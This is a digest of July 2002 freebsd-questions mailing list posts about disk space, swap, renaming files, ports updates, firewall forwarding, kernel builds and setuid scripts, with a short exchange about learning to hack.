http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mirrors.html ,
follow the ftp links

--jW-

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From owner-freebsd-questions  Wed Jul 31 13:55:43 2002
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Date: Wed, 31 Jul 2002 13:55:39 -0700 (PDT)
From: Philip Hallstrom <philip@adhesivemedia.com>
To: William Blair Wagner <blairwag1965@yahoo.com>
Cc: freebsd-questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: extending the /usr filesystem - HELP!
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You might also read the manpage for disklabel... it can be done, but
before you do it, why nost just symlink the following:

/usr/ports -> /usr3/ports
/usr/src -> /usr3/src
/usr/obj -> /usr3/obj

and let it go at that.  And if that's not enough you could symlink
/usr/local -> /usr4/local.

This would be a *lot* simpler and you wouldn't have to worry about
trashing something by accident.

-philip

On Wed, 31 Jul 2002, William Blair Wagner wrote:

> Hey Gang,
>
> Somewhat new to FreeBSD - I've found myself building
> and installing many of the ports that I never thought
> I'd install. so far, so good. However, I made the
> /usr(/dev/ad2s1g) filesystem only 3GB. Now, I'm not
> yet out of space, but seeing as I really like having
> all this source code to peruse, I'd really like to
> keep it all, and get more.
>
> I also created a large 10GB file system and another
> 4GB file system, called /usr3(/dev/ad2s1h) and
> /usr4(/dev/ad2s1d) respecively. I'd like to blow away
> /usr3 and/usr4, then give about 6GB of space (now
> freed up) to /usr, and create one final large
> partition/slice and mount it on /usr3. The good news
> is that the whole disk is dedicated to FreeBSD, and
> /usr4 is the last (center slice) on the disk. /usr3 is
> the next to the last slice on the disk, and /usr is
> next to /usr3.
>
> Ive been all over the handbook, along with other
> documents and articles. I can see to run
> /stand/sysinstall to do the fdisk and label editor
> work. But, I'd really like to know that I'm doing this
> right. I figured I'd delete the 2 slices at the end,
> and give 6 more GB to /usr, and set the rest as one
> large slice. Once done, how do I extend the /usr
> filesystem without losing its contents.
>
> I'm not usbscribed to this mailing list - so please
> reply directly to me as well as the list, with useful
> suggestions.
>
> TIA - you *ARE* the best!
>
>
> =====
> --
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> William Blair Wagner   : Education is not always knowing the answer
> blairwag1965@yahoo.com : ..but rather knowing where to look for it!
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Wed Jul 31 13:56:37 2002
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From: Terry Todd <tlt@badger.tltodd.com>
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Subject: updating a single command
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What's the best way to update just a single command?

For example:  cvs 1.11.2 on a 4.6-STABLE system that has 1.11.1 by default.

I downloaded cvs-1.11.2.tar.gz and can manually install it but is there
a better way?

TIA,
Terry Todd


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From owner-freebsd-questions  Wed Jul 31 13:58: 2 2002
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From: Alex Drummond <alex@abingdon74.freeserve.co.uk>
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Subject: Re: write a script to get root permission
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On Wednesday 31 July 2002 9:07 pm, Phil Gates wrote:
> Thanks everybody on ftp only login all your suggestions worked. I have
> another problem and I know .  The person that I am working for want me =
to
> write a script in ksh to do some root commands and thenexit.  Is there =
a
> way to get root permission in a script.
>
> Thanks
>
> Phil

You have to make the script setuid root. i.e.
        chown root scriptfile
        chmod u+sx scriptfile
Then the script will run as root (of course you have to run the commands =
above=20
as root). Writing a setuid shell script is a potential security risk, of=20
course.

This probably isn't the best place for this kind of general UNIX question=
, you=20
might get better responses somewhere like the linuxquestions.org forums.

Alex

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From owner-freebsd-questions  Wed Jul 31 13:59:56 2002
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To: Steve Mazerski <smazerski@yahoo.co.jp>
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On Wed, 31 Jul 2002, Steve Mazerski wrote:

> Subject: OT: Re: "URGENT RECOMMENDATION"

What is OT?  Off-topic?

> Seeing your subject "URGENT RECOMMENDATION", the first thought
> that came into my head that you were going to tell us all how you are the
> second wife of the former Nigerian President's son-in-law's third cousin
> who has 30 million US$ in an inacessible tupperware container in the Lebanon
> looking for a better home and that your keyboard's caps lock key is
> irrevocably stuck into the ON-position. ;-) Apologies for the waste of bandwith
> S.Mazerski

-shifty eyed glance around-  No, I definitely do not need to disburse these
monies toward other time travellers who may have information about
replacement warp drive crystals or extra terrestrial devices.  *chuckle*

Phew, I saw your reply and thought I was going to get majorly flamed.  It
can't hurt to be the one reminding people once in a while that backing up
data -- not even all of it -- just a small portion of data even, is smart!

> (who keeps a very small Linux installation for purposes of using LILO)

Is that that cartoon movie about the surfer kid and her alien pet/animal STITCH?

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Wed Jul 31 14: 1: 1 2002
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Subject: Re: 1GB ram, how much SWAP?
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	<freebsd-questions@freebsd.org>
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On 7/31/02 12:58 PM, "Kirk Strauser" <kirk@strauser.com> wrote:

>=20
> At 2002-07-31T17:17:28Z, Rob Ellis <rob@web.ca> writes:
>=20
>> if you have a gigabyte of ram, does the 2 x ram calculation for the swap
>> partition (from the fbsd handbook) still make sense?  thanks.
>=20
> IANA kernel hacker, but I've read that you should allocate at least twice
> the amount of RAM for the main reason that FreeBSD's VM system is optimiz=
ed
> for that amount.  It will still run with less swap, but it will use
> less-optimal algorithms and/or settings.



Really, how often will you go into swap?  For a person starting with
FreeBSD, they're most likely never even hit the swap.


Colin Harford =A0=A0=A0

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
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http://www.su.ualberta.ca


"I sense much NT in you, NT leads to Blue Screen.
Blue Screen leads to downtime, downtime leads to suffering.
NT is the path to the darkside."
         - Unknown Unix Jedi




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From owner-freebsd-questions  Wed Jul 31 14: 2: 0 2002
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Subject: diskspace
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X-Loop: FreeBSD.ORG

Dear all

I will install two harddisks 2 x 40G in the exiting
freebsd box

Is it possible to have two harddisk in mounting one
directory /backup 80G

Thank you   

_______________________________________________________________________
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Get your free @yahoo.com.hk address at http://mail.english.yahoo.com.hk

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From owner-freebsd-questions  Wed Jul 31 14: 2:20 2002
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From: "Joe & Fhe Barbish" <barbish@a1poweruser.com>
To: "Axel Simon" <A.Simon@ukc.ac.uk>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: Harddisk damage by driver?
Date: Wed, 31 Jul 2002 17:02:11 -0400
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X-Loop: FreeBSD.ORG

I used the trial and error method. 

It's far cheaper to replace the power supply with a new one, 
than the cost of replacing hard drives and the data they contain.

The hard drive clicking you talked about is the heads movement 
mechanism failing to move because the gears are full of platter 
recording material that has became air born from the heads hitting 
the recording surface because of  inadequate RPM's of the 
platters disks due to low voltage or the voltage is so low that the 
actuators do not have the power to move the heads movement mechanism.

I don't have to use a voltage meter, I know the symptoms.

If the drives are not to far gone, some times the new power supply 
will bring them back to life. 

This is why true production boxes have dual power supplies built in. 

I have a stand-a-lone power supply that I have lengthen the wires of 
the output leads that plug into the motherboard and i/o devices. 
When I get HD data errors in the logs or hear HD sounds I use this 
customized external power supply to temporary replace the internal 
power supply and in most cases have managed to save the HD's from
 total destruction so I can backup the data or copy the whole bad 
HD to a new one.

It has been my experience that heat effects the CPU chip and the 
circuit board of the power supply and this heat build up is caused 
by dust coating the heat sinks and the power supply circuit board.

I open all cases every 6 months and use a very small paint brush 
and an pressurized air can to blow out the dust on the motherboard, 
CPU heat sunk,  and power supply. 

A little preventative maintenance goes a long way. 

Just a little tip from some one who has been there and done that.

   

 

-----Original Message-----
From: A.Simon [mailto:as49@ukc.ac.uk]On Behalf Of Axel Simon
Sent: Wednesday, July 31, 2002 1:17 PM
To: Joe & Fhe Barbish
Cc: Axel Simon; FBSDQ
Subject: Re: Harddisk damage by driver?

On Wed, Jul 31, 2002 at 11:11:23AM -0400, Joe & Fhe Barbish wrote:
> Replace the PC's power supply. It is not providing the correct power
> level to the Hard drives and they are not spinning fast enough to keep
> the heads off the platter's surface causing the recording media to be
> worn off giving r/w errors.

How did you verify that the power supply was the source of the problem?
Did you just replace it with a stronger one and it worked or did you
monitor the voltage levels?

Axel.


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From owner-freebsd-questions  Wed Jul 31 14: 6: 0 2002
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Subject: files to files with .txt
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X-Loop: FreeBSD.ORG

Hi,
I have about 1000 files.
ls -1
1
2
3
4
5
6
7
...
...
998
999
1000
And now I must have 1000 files with .txt ->
ls -1
1.txt
2.txt
3.txt
...
...
998.txt
999.txt
1000.txt

How can I do that.
Tahnks for help.

Maciej Szewczyk

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From owner-freebsd-questions  Wed Jul 31 14:11: 5 2002
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Subject: Hack The Box
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X-Loop: FreeBSD.ORG

Hello all,

	I'm interested in learning a little about how to hack into servers
and stuff like that.  It may sound a little childish, but I just think
it's kindof cool.  I'm willing to learn any type of programming it may
take, but I have no clue where to start.  Anybody have any suggestions?

Thanks,
Christopher J. Umina


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From owner-freebsd-questions  Wed Jul 31 14:14:17 2002
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Date: Wed, 31 Jul 2002 17:22:04 -0400
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Subject: Merging disks
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X-Loop: FreeBSD.ORG

	Not being a master of working with disks on the Freebsd operating system, 
I have a question.  When doing a fresh install, how do I spread a slice 
across three HD's?

	Say for example the system has 4 HD's, each 20 gigs in size, and HD1 has 
all the normal slices, the swap file, var, tmp, and the root slice ("/") 
and then in turn HD's 2, 3, and 4 would then all have one huge slice titled 
"/usr" on them as a spanned slice.

	Is this possible or am I totally off?  Basically what I need to do is take 
one folder and span it across 3 HD's if possible.  Any suggestions how to 
do this would be welcome.  Thanks.	

-- The Raiden Knows

"Remember amateurs built the ark  -- professionals built the Titanic." - 
Unknown

"Just when you think you have life figured out and all is going well, watch 
your step, for you are about to fall." - Ancient Proverb

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From owner-freebsd-questions  Wed Jul 31 14:15: 5 2002
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X-Loop: FreeBSD.ORG

On Wed, 31 Jul 2002, Maciej Szewczyk wrote:

> Hi,
> I have about 1000 files.
> 7
> ...
> ...
> 999
> 1000
> And now I must have 1000 files with .txt ->

IF you are using a Bourne-related shell (sh, ksh, bash...):

for var in `ls`; do mv ${var} ${var}.txt ; done


			Fer



> ls -1
> 1.txt
> 2.txt
> 3.txt
> ...
> ...
> 998.txt
> 999.txt
> 1000.txt
>
> How can I do that.
> Tahnks for help.
>
> Maciej Szewczyk
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Wed Jul 31 14:15: 9 2002
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X-Loop: FreeBSD.ORG

Hello everybody!

I have a strange problem launching KDE3 under Xfree86 4:

1. Installed and configured Xfree86 4 (works)
2. Installed KDE3 on FreeBSD 4.6.1
3. added "/usr/local/bin/startkde" to ~/.xinitrc

When I run "startx" I get:

giving up.
xinit: No such file or directory (errno 2): unable to connect to X Server
xinit:No such process (errno 3): Server error.

Starting X first and then manually KDE3 works..

The strange thing is that a seto almost exactly (??) the same on another 
machine works.

What could this be?!

Many thanks in advance for any help!


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From owner-freebsd-questions  Wed Jul 31 14:15:15 2002
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Subject: Re: 1GB ram, how much SWAP?
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X-Loop: FreeBSD.ORG

> > the consensus seems to be that if you want to be able to get
> > crash dumps, you need a single partition == to your memory
> 
> 64k more than your memory, actually...

there was some disagreement about that in that freebsd-hackers thread:

http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=268723+271430+/usr/local/www/db/text/2002/freebsd-hackers/20020714.freebsd-hackers

> >        in the meantime, 1GB ram + .5GB swap still seems like lots?
> 
> Depends on how much virtual address space you're using at once.  

yes. it would be nice to know ballpark requirements for different
types of servers / what kind of capacities you get with freebsd
and various hardware configurations.

- rob

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From owner-freebsd-questions  Wed Jul 31 14:18:20 2002
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Date: Wed, 31 Jul 2002 16:18:40 -0500
From: Drew Raines <drew-dated-1028408273.35d3a8@rain3s.net>
To: freebsd-questions@freebsd.org
Subject: Striped Vinum on two drives
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I have a machine with two hard drives:

   ad0  Maxtor     13 GB
   da0  Fujitsu    36 GB

I'd like to create root, swap, and usr partitions on the
beginning of ad0, and have the rest of the drive, as well as all
of da0 be one giant 45 GB filesystem.  Something like:

   ad0  /
        swap
        /usr
        /bigfs
   da0  /bigfs (cont.)

I read Bob Van Valzah's bootstrapping guide and successfully
created a Vinum-powered system with / on ad0 and /rootback on
da0, etc., etc..  I intended to just wet my feet before
customizing my configuration.

Unfortunately, I'm still unsure of how to get to where I'm going
after doing this.  In fact, I'm wondering if what I want is too
simple for Vinum, or even ccd.  So is this worth doing?  Won't I
be able to resize and move filesystems around afterward?  Also,
*can* I do it?  I just want the two spindles to look like one
disk, striping the data accordingly.

Drew

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From owner-freebsd-questions  Wed Jul 31 14:19:31 2002
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To: Phil Gates <p_gates@fuse.net>
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Subject: Re: write a script to get root permission
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On Wed, 31 Jul 2002, Phil Gates wrote:

> Thanks everybody on ftp only login all your suggestions worked. I have another problem and I know .  The person that I am working for want me to write a script in ksh to do some root commands and thenexit.  Is there a way to get root permission in a script.


You cant make a suid script. The kernel ignores the suid bit in scripts
because it is a huge security hole.

If you need to grant partial root privilleges to a user, use sudo.


			Fer

>
> Thanks
>
> Phil
>


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From owner-freebsd-questions  Wed Jul 31 14:20:31 2002
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From: Steve Mazerski <smazerski@yahoo.co.jp>
To: Alex Drummond <alex@abingdon74.freeserve.co.uk>,
	freebsd-questions@freebsd.org
Subject: Re: write a script to get root permission
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On Thursday 01 August 2002 23:56, Alex Drummond wrote:
> On Wednesday 31 July 2002 9:07 pm, Phil Gates wrote:
> > Thanks everybody on ftp only login all your suggestions worked. I hav=
e
> > another problem and I know .  The person that I am working for want m=
e to
> > write a script in ksh to do some root commands and thenexit.  Is ther=
e a
> > way to get root permission in a script.
> >
> > Thanks
> >
> > Phil
>
> You have to make the script setuid root. i.e.
>         chown root scriptfile
>         chmod u+sx scriptfile

Wouldn`t that be

chmod g+sx scriptfile ? But...

> Then the script will run as root (of course you have to run the command=
s
> above as root). Writing a setuid shell script is a potential security r=
isk,
> of course.

=2E..hmm, script files aren't actually executed per-se, the interpreter (=
shell
or whatever) opens the file, reads it and executes each command
with the interpreter's user's permissions.=20


S.Mazerski


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From owner-freebsd-questions  Wed Jul 31 14:30: 8 2002
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It's possible.  Read about vinum or ccd in the handbook.

http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/raid.html

On Wed, 31 Jul 2002, Lord Raiden wrote:

> 	Not being a master of working with disks on the Freebsd operating system,
> I have a question.  When doing a fresh install, how do I spread a slice
> across three HD's?
>
> 	Say for example the system has 4 HD's, each 20 gigs in size, and HD1 has
> all the normal slices, the swap file, var, tmp, and the root slice ("/")
> and then in turn HD's 2, 3, and 4 would then all have one huge slice titled
> "/usr" on them as a spanned slice.
>
> 	Is this possible or am I totally off?  Basically what I need to do is take
> one folder and span it across 3 HD's if possible.  Any suggestions how to
> do this would be welcome.  Thanks.
>
> -- The Raiden Knows
>
> "Remember amateurs built the ark  -- professionals built the Titanic." -
> Unknown
>
> "Just when you think you have life figured out and all is going well, watch
> your step, for you are about to fall." - Ancient Proverb
>
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From owner-freebsd-questions  Wed Jul 31 14:30:23 2002
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To: =?iso-8859-1?q?adrian=20kok?= <adriankok2000@yahoo.com.hk>
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Check out this section in the handbook.

http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/raid.html

On Thu, 1 Aug 2002, [iso-8859-1] adrian kok wrote:

> Dear all
>
> I will install two harddisks 2 x 40G in the exiting
> freebsd box
>
> Is it possible to have two harddisk in mounting one
> directory /backup 80G
>
> Thank you
>
> _______________________________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.com.hk address at http://mail.english.yahoo.com.hk
>
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The OpenSSL bug has triggered me to learn how to figure out if a given
program was built with static- or dynamic-linking?  I figure there's
something in the Makefile, but what?

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From owner-freebsd-questions  Wed Jul 31 14:31: 7 2002
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From: "Matt Abraham" <mailing@novaconnect.net>
Subject: Unable to get "ipfw fwd" working
To: freebsd-questions@freebsd.org
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Hi all,

I am running into a problem using ipfw to do source-based
routing. 

I am trying to forward traffic from a private IP address
(172.17.1.5) to a gateway (192.168.215.15) via ANOTHER
gateway running Freebsd/ipfw (rl0:192.168.200.240 and
vr0:192.168.215.240). Now, this packet has already gone
through a Cisco router with policy-based routing in place,
so no NAT'ing is done to the packet -- static routes are in
place on the Freebsd box to send the response back via the
Cisco router.

So! On the Freebsd box, I've got the following ipfw rule in
place:

650 fwd 192.168.215.15 ip from 172.17.1.5 to any in recv rl0

When I try to ping a public address, say A.B.C.D, on the
other side of 192.168.215.15 (it's got a public address on
its outside interface), I receive "Destination Host
Unreachable," i.e. ICMP 3.1 packets coming from
192.168.200.240. Now, if I add a static route:

route add -host A.B.C.D 192.168.215.15

...it works, but this sort of defeats the purpose of
source-based routing :) Clearly, I'm doing something wrong.
Any ideas??

Matt
mailing@novaconnect.net

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From owner-freebsd-questions  Wed Jul 31 14:32:58 2002
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Date: Wed, 31 Jul 2002 17:32:53 -0400
From: Rob Ellis <rob@web.ca>
To: freebsd-questions@freebsd.org
Subject: Re: System configuration files under source control
Message-ID: <20020731213253.GO22253@web.ca>
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On Wed, Jul 31, 2002 at 01:22:26PM -0700, Carlos Carnero wrote:
> is there anyone maintaining system configuration files
> (like /etc/*) with a revision system? (CVS, RCS, etc.)
> Care to share experiences?

we're using rcs for some things, which works well -- the 
advantage over cvs is that the locking is simple.

  ci -u rc.conf   # check in first time
  rcsdiff rc.conf # make sure no one's made unchecked-in changes
  co -l rc.conf   # check out, lock
  ci -u rc.conf   # check in again

note that 'ci' without '-u' removes the original file, which
is not good. :-)

- rob

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From owner-freebsd-questions  Wed Jul 31 14:33:52 2002
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Date: Wed, 31 Jul 2002 17:30:50 -0400
From: mpd <mpd@rochester.rr.com>
To: Maciej Szewczyk <rodion@pirx.9lo.lublin.pl>
Cc: questions@FreeBSD.ORG
Subject: Re: files to files with .txt
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On Wed, Jul 31, 2002 at 11:02:56PM +0200, Maciej Szewczyk wrote:
> Hi,
> I have about 1000 files.
> ls -1
> 1
> 2
> 3
> 4
> 5
> 6
> 7
> ...
> ...
> 998
> 999
> 1000
> And now I must have 1000 files with .txt ->
> ls -1
> 1.txt
> 2.txt
> 3.txt
> ...
> ...
> 998.txt
> 999.txt
> 1000.txt
> 
> How can I do that.
> Tahnks for help.

There's a port called mmv which is tailor made for things like
this. It's located at /usr/ports/misc/mmv

> 
> Maciej Szewczyk
> 

mike
-- 
___________________________________________________________
 
"WE WERE LUCKY TO GET OUR GROCERIES BEFORE THEY
	ALSO CAUGHT ON FIRE!!!"
	- Little Girl from "THE GROCERY STORE IS ON FIRE"

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From owner-freebsd-questions  Wed Jul 31 14:45: 8 2002
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From: "Christian Schmied" <christian@schmied.cc>
To: <freebsd-questions@FreeBSD.ORG>
Subject: gnome2 / libwnck - Problem with REINPLACE_CMD
Date: Wed, 31 Jul 2002 23:45:15 +0200
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Hi,

Has anybody installed gome2 on 4.6 ?

After a long time of compiling I get an error when the libwnck is compiling.
(-e: not found)

I think the problem is, that the variable REINPLACE_CMD is not set.

Can this be a problem between the version 4.6 and 5 ??

Has anyone a solution for this ??

Thanks,
Christian.




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From owner-freebsd-questions  Wed Jul 31 14:47:21 2002
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hi sirs,

i am using `FreeBSD firak.thai-aec.org 4.6-STABLE FreeBSD 4.6-STABLE #2: 
Sun Jul 14 13:58:35 ICT 2002     
root@firak.thai-aec.org:/usr/obj/usr/src/sys/Firak  i386'

at present i use private ip number.  but a domain name is a real one.

if i want some user, his id is krok for example, to run xfig and do not 
want other user, her id is  jumjim, to run this program from some other 
host in the same domain, what method should i use in order to accomplish 
this requirement.


thanks in advance and regards,
manee


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From owner-freebsd-questions  Wed Jul 31 14:47:25 2002
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hi sirs,

am using freebsd 4.6-stable.
i have a simple question that is if i just want some users to be able to run only xfig what should i do.  and on the other hand if i do not want them to run xfig, is there any command to accomplish this ?

apologize me for my english, i am from bangkok.

with best regards,
psr

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From owner-freebsd-questions  Wed Jul 31 14:49:40 2002
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Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Christian Schmied <christian@schmied.cc>
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On Wed, 2002-07-31 at 17:45, Christian Schmied wrote:
> Hi,
> 
> Has anybody installed gome2 on 4.6 ?
> 
> After a long time of compiling I get an error when the libwnck is compiling.
> (-e: not found)
> 
> I think the problem is, that the variable REINPLACE_CMD is not set.
> 
> Can this be a problem between the version 4.6 and 5 ??
> 
> Has anyone a solution for this ??

Is your ports tree up-to-date?  I just looked at libwnck, and it's
fine.  USE_REINPLACE is set to yes, and REINPLACE_CMD is defined
correctly.  Make sure when you update your ports tree, that you always
update /usr/ports/Mk.  Without that directory, none of the magic can
happen.

Joe

> 
> Thanks,
> Christian.
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
-- 
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From owner-freebsd-questions  Wed Jul 31 14:50:34 2002
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From: Anshuman Kanwar <akanwar@engineering.ucsb.edu>
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Hi all,

  I am trying to compile a custom kernel (4.6 stable). When i run
/usr/sbin/config MYKERNEL, I get a message

 "your versions of config(8) is out of sync with the source".

The installation is from the latest 4.6 June 2000 CDs, on a fresh machine.

What is going wrong? Should I cvsup the source?

Thx.
-ansh

---


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From owner-freebsd-questions  Wed Jul 31 14:55:27 2002
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Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD
Date: Wed, 31 Jul 2002 23:55:34 +0200
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My ports tree is up-to-date,
but /usr/ports/Mk is the org. one from 4.6

Silly question, how can I update the file in /usr/ports/Mk ??

Chris.


----- Original Message -----
From: "Joe Marcus Clarke" <marcus@marcuscom.com>
To: "Christian Schmied" <christian@schmied.cc>
Cc: <freebsd-questions@FreeBSD.ORG>
Sent: Wednesday, July 31, 2002 11:49 PM
Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD


> On Wed, 2002-07-31 at 17:45, Christian Schmied wrote:
> > Hi,
> >
> > Has anybody installed gome2 on 4.6 ?
> >
> > After a long time of compiling I get an error when the libwnck is
compiling.
> > (-e: not found)
> >
> > I think the problem is, that the variable REINPLACE_CMD is not set.
> >
> > Can this be a problem between the version 4.6 and 5 ??
> >
> > Has anyone a solution for this ??
>
> Is your ports tree up-to-date?  I just looked at libwnck, and it's
> fine.  USE_REINPLACE is set to yes, and REINPLACE_CMD is defined
> correctly.  Make sure when you update your ports tree, that you always
> update /usr/ports/Mk.  Without that directory, none of the magic can
> happen.
>
> Joe
>
> >
> > Thanks,
> > Christian.
> >
> >
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> >
> --
> PGP Key : http://www.marcuscom.com/pgp.asc
>
>


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From owner-freebsd-questions  Wed Jul 31 14:58:39 2002
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Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Christian Schmied <christian@schmied.cc>
Cc: freebsd-questions@FreeBSD.ORG
In-Reply-To: <023f01c238dc$ff418600$17216c50@schmied.cc>
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On Wed, 2002-07-31 at 17:55, Christian Schmied wrote:
> My ports tree is up-to-date,
> but /usr/ports/Mk is the org. one from 4.6
> 
> Silly question, how can I update the file in /usr/ports/Mk ??

You need to use cvsup, and make sure you're cvsup'ing the ports-base
module (or you're cvsup'ing ports-all).

Joe

> 
> Chris.
> 
> 
> ----- Original Message -----
> From: "Joe Marcus Clarke" <marcus@marcuscom.com>
> To: "Christian Schmied" <christian@schmied.cc>
> Cc: <freebsd-questions@FreeBSD.ORG>
> Sent: Wednesday, July 31, 2002 11:49 PM
> Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD
> 
> 
> > On Wed, 2002-07-31 at 17:45, Christian Schmied wrote:
> > > Hi,
> > >
> > > Has anybody installed gome2 on 4.6 ?
> > >
> > > After a long time of compiling I get an error when the libwnck is
> compiling.
> > > (-e: not found)
> > >
> > > I think the problem is, that the variable REINPLACE_CMD is not set.
> > >
> > > Can this be a problem between the version 4.6 and 5 ??
> > >
> > > Has anyone a solution for this ??
> >
> > Is your ports tree up-to-date?  I just looked at libwnck, and it's
> > fine.  USE_REINPLACE is set to yes, and REINPLACE_CMD is defined
> > correctly.  Make sure when you update your ports tree, that you always
> > update /usr/ports/Mk.  Without that directory, none of the magic can
> > happen.
> >
> > Joe
> >
> > >
> > > Thanks,
> > > Christian.
> > >
> > >
> > >
> > >
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-questions" in the body of the message
> > >
> > --
> > PGP Key : http://www.marcuscom.com/pgp.asc
> >
> >
> 
> 
-- 
PGP Key : http://www.marcuscom.com/pgp.asc


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From owner-freebsd-questions  Wed Jul 31 15: 1:59 2002
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From: Ian Barwick <barwick@gmx.net>
To: Maciej Szewczyk <rodion@pirx.9lo.lublin.pl>,
	questions@freebsd.org
Subject: Re: files to files with .txt
Date: Thu, 1 Aug 2002 00:02:51 +0200
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On Wednesday 31 July 2002 23:02, Maciej Szewczyk wrote:
> Hi,
> I have about 1000 files.
> ls -1
> 1
> 2
> 3
(...)
> ...
> ...
> 998
> 999
> 1000
> And now I must have 1000 files with .txt ->
> ls -1
> 1.txt
> 2.txt
> 3.txt
> ...
> ...
> 998.txt
> 999.txt
> 1000.txt
>

Something along the lines of:

  find  -E .  -regex './[0-9]+' -exec mv {} {}.txt \;

You'll want to be sure that 'find' finds the right
files to rename.

HTH

Ian Barwick
barwick@gmx.net



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From owner-freebsd-questions  Wed Jul 31 15: 6: 4 2002
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References: <01e501c238db$8e952ed0$17216c50@schmied.cc><1028152144.78863.27.camel@gyros.marcuscom.com> <023f01c238dc$ff418600$17216c50@schmied.cc> <1028152683.78863.29.camel@gyros.marcuscom.com>
Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD
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the ports-base was missing in my cvsup config,

great job ! - it works..........

thanks,
Chris.

----- Original Message -----
From: "Joe Marcus Clarke" <marcus@marcuscom.com>
To: "Christian Schmied" <christian@schmied.cc>
Cc: <freebsd-questions@FreeBSD.ORG>
Sent: Wednesday, July 31, 2002 11:58 PM
Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD


> On Wed, 2002-07-31 at 17:55, Christian Schmied wrote:
> > My ports tree is up-to-date,
> > but /usr/ports/Mk is the org. one from 4.6
> >
> > Silly question, how can I update the file in /usr/ports/Mk ??
>
> You need to use cvsup, and make sure you're cvsup'ing the ports-base
> module (or you're cvsup'ing ports-all).
>
> Joe
>
> >
> > Chris.
> >
> >
> > ----- Original Message -----
> > From: "Joe Marcus Clarke" <marcus@marcuscom.com>
> > To: "Christian Schmied" <christian@schmied.cc>
> > Cc: <freebsd-questions@FreeBSD.ORG>
> > Sent: Wednesday, July 31, 2002 11:49 PM
> > Subject: Re: gnome2 / libwnck - Problem with REINPLACE_CMD
> >
> >
> > > On Wed, 2002-07-31 at 17:45, Christian Schmied wrote:
> > > > Hi,
> > > >
> > > > Has anybody installed gome2 on 4.6 ?
> > > >
> > > > After a long time of compiling I get an error when the libwnck is
> > compiling.
> > > > (-e: not found)
> > > >
> > > > I think the problem is, that the variable REINPLACE_CMD is not set.
> > > >
> > > > Can this be a problem between the version 4.6 and 5 ??
> > > >
> > > > Has anyone a solution for this ??
> > >
> > > Is your ports tree up-to-date?  I just looked at libwnck, and it's
> > > fine.  USE_REINPLACE is set to yes, and REINPLACE_CMD is defined
> > > correctly.  Make sure when you update your ports tree, that you always
> > > update /usr/ports/Mk.  Without that directory, none of the magic can
> > > happen.
> > >
> > > Joe
> > >
> > > >
> > > > Thanks,
> > > > Christian.
> > > >
> > > >
> > > >
> > > >
> > > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > > with "unsubscribe freebsd-questions" in the body of the message
> > > >
> > > --
> > > PGP Key : http://www.marcuscom.com/pgp.asc
> > >
> > >
> >
> >
> --
> PGP Key : http://www.marcuscom.com/pgp.asc
>
>


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From owner-freebsd-questions  Wed Jul 31 15: 6:43 2002
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To: Anshuman Kanwar <akanwar@engineering.ucsb.edu>
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Anshuman Kanwar wrote:

> Hi all,
> 
>   I am trying to compile a custom kernel (4.6 stable). When i run
> /usr/sbin/config MYKERNEL, I get a message
> 
>  "your versions of config(8) is out of sync with the source".
> 
> The installation is from the latest 4.6 June 2000 CDs, on a fresh machine.


I assume you meant 2002?


> 
> What is going wrong? Should I cvsup the source?


Did you install all of the sources? There have been security fixes and 
the ata device drivers have been fixed. So, cvsuping RELENG_4_6 and 
src-all would be a good idea. After cvsuping, you have to use the 
buildkernel method of building a kernel. The system will identify 
itself as 4.6.1 but you ignore that.

Kent


> 
> Thx.
> -ansh
> 
> ---
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> .
> 
> 


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Wed Jul 31 15:14: 0 2002
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From: "Thomas Connolly" <tconnolly@electrosoftsolutions.com>
To: "'Christopher J. Umina'" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
Cc: <freebsd-questions@freebsd.org>
Subject: RE: Hack The Box
Date: Wed, 31 Jul 2002 16:13:52 -0600
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First off, intentionally trying breach system security can be a good
thing.  This should be done only for the sake of identifying security
holes and helping the system administrator and the Open Source
communities fix these problems.  Any security holes should be reported
to the Sys Admin first so that they make fix them and then the report
them to the proper program administrator.  Intending to damage someone's
system or steal valuable information, would as you put it, be very
childish.

That said, this should get you started.

http://welcome.to/hwa.hax0r.news/

Thomas Connolly


-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
